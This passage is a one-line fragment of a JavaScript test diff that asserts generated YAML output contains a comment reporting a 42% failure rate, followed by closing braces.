expect(yamlText).toMatch(/# - \[42% failure rate\] s > line1 line2/); + }); +});